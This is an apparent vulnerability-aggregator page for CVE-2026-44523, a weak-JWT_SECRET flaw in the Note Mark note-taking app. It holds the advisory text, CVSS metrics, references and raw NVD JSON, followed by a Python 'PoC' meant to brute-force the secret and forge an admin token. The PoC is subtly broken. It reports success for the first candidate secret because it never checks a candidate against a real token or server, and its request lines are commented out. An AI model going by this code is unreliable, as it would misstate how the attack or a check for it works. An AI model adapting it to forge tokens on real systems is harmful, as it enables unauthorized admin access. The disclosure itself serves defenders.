CVE-2026-44523

Description

Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Note Mark < 0.19.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import jwt
import requests
import itertools

# Target configuration
target_url = "http://vulnerable-host/api/user/profile"
algorithm = "HS256"

# Since the app accepts any base64-decodable secret (even 1 byte),
# we can brute force short characters.
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
max_length = 4

print("[*] Starting brute force for weak JWT_SECRET...")

# Sample token captured from the application (invalid without secret)
# We need to find the secret to forge a valid token
sample_payload = {"sub": "admin", "role": "admin"}

for length in range(1, max_length + 1):
    for candidate_tuple in itertools.product(charset, repeat=length):
        candidate_secret = ''.join(candidate_tuple)
        try:
            # Attempt to encode a token with the candidate secret
            # If the app accepts this secret, we can forge tokens
            forged_token = jwt.encode(sample_payload, candidate_secret, algorithm=algorithm)
            print(f"[+] Found potential weak secret: {candidate_secret}")
            print(f"[+] Forged Admin Token: {forged_token}")
            
            # Verify usage
            headers = {"Authorization": f"Bearer {forged_token}"}
            # resp = requests.get(target_url, headers=headers)
            # if resp.status_code == 200:
            #     print("[!] Exploit Successful!")
            #     exit(0)
            break 
        except Exception as e:
            continue

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44523/
[4] VulDB https://vuldb.com/cve/CVE-2026-44523
[5] https://github.com/enchant97/note-mark/security/advisories/GHSA-q6mh-rqwh-g786

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44523", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:37.470", "lastModified": "2026-05-14T19:16:37.470", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-326"}, {"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-q6mh-rqwh-g786", "source": "[email protected]"}]}}